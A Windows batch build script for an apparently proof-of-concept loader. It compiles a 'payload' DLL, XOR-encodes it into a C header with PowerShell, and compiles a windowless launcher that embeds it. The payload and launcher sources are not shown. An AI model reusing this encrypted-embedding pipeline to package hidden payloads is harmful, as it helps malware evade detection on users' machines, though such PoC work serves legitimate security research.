@echo off
setlocal EnableDelayedExpansion

set CLANG=C:\Program Files\LLVM\bin\clang.exe

REM ── Install LLVM if missing ────────────────────────────────────────────────
if not exist "%CLANG%" (
    echo [*] LLVM not found. Installing via winget...
    winget install --id LLVM.LLVM -e --source winget
    if errorlevel 1 ( echo [-] LLVM install failed. & exit /b 1 )
    if not exist "%CLANG%" ( echo [-] clang.exe still not found after install. & exit /b 1 )
)

REM ── Locate llvm-mingw sysroot (WinGet package) ────────────────────────────
set MINGW_BASE=%LOCALAPPDATA%\Microsoft\WinGet\Packages
set MINGW=
for /d %%d in ("%MINGW_BASE%\MartinStorsjo.LLVM-MinGW*") do (
    for /d %%e in ("%%d\llvm-mingw-*-ucrt-x86_64") do set MINGW=%%e
)

if "!MINGW!"=="" (
    echo [*] llvm-mingw not found. Installing via winget...
    winget install --id MartinStorsjo.LLVM-MinGW.UCRT -e --source winget
    if errorlevel 1 ( echo [-] llvm-mingw install failed. & exit /b 1 )
    for /d %%d in ("%MINGW_BASE%\MartinStorsjo.LLVM-MinGW*") do (
        for /d %%e in ("%%d\llvm-mingw-*-ucrt-x86_64") do set MINGW=%%e
    )
)

if "!MINGW!"=="" ( echo [-] Cannot locate llvm-mingw sysroot. & exit /b 1 )
echo [+] Using sysroot: !MINGW!

set TARGET=x86_64-w64-mingw32
set RDIR=!MINGW!\lib\clang\22
set INC1=!MINGW!\include
set INC2=!MINGW!\x86_64-w64-mingw32\include
set LIB=!MINGW!\x86_64-w64-mingw32\lib
set FLAGS=-target %TARGET% -resource-dir "!RDIR!" -I"!INC1!" -I"!INC2!" -L"!LIB!" -fuse-ld=lld -rtlib=compiler-rt -Wno-unused-command-line-argument

REM ── Step 1: Compile payload DLL ───────────────────────────────────────────
echo [1] Compiling party.c -^> party_payload.dll ...
"%CLANG%" -shared -o party_payload.dll party.c -lkernel32 -luser32 -lgdi32 -ladvapi32 -lm %FLAGS%
if errorlevel 1 ( echo [-] DLL compile failed. & exit /b 1 )
echo [+] party_payload.dll built.

REM ── Step 2: Embed DLL as XOR-encrypted C array (PowerShell) ─────────────
echo [2] Embedding DLL into party_blob.h ...
powershell -NoProfile -NonInteractive -Command ^
"$d=[System.IO.File]::ReadAllBytes('party_payload.dll');" ^
"$enc=[byte[]]::new($d.Length);" ^
"for($i=0;$i-lt$d.Length;$i++){$enc[$i]=$d[$i]-bxor($i-band 0xFF)}" ^
"$sb=[System.Text.StringBuilder]::new();" ^
"[void]$sb.Append('#pragma once`n#include <stddef.h>`nstatic const unsigned char PARTY_DLL_DATA[]={`n');" ^
"for($i=0;$i-lt$enc.Length;$i++){" ^
"  if($i%%16-eq 0){[void]$sb.Append('    ')}" ^
"  [void]$sb.Append('0x'+$enc[$i].ToString('x2')+',')" ^
"  if($i%%16-eq 15){[void]$sb.Append(\"`n\")}" ^
"  else{[void]$sb.Append(' ')}" ^
"}" ^
"[void]$sb.Append(\"`n};\`nstatic const size_t PARTY_DLL_SIZE=$($d.Length);\`n\");" ^
"[System.IO.File]::WriteAllText('party_blob.h',$sb.ToString());" ^
"Write-Host '[+] Embedded' $d.Length 'bytes -> party_blob.h'"
if errorlevel 1 ( echo [-] Blob embed failed. & exit /b 1 )

REM ── Step 3: Compile launcher EXE ──────────────────────────────────────────
echo [3] Compiling partypoc.c -^> partypoc.exe ...
"%CLANG%" -o partypoc.exe partypoc.c -lkernel32 -luser32 -lntdll -mwindows %FLAGS%
if errorlevel 1 ( echo [-] EXE compile failed. & exit /b 1 )

echo.
echo [+] Done. Run: partypoc.exe
for %%f in (partypoc.exe) do echo [+] Size: %%~zf bytes

endlocal
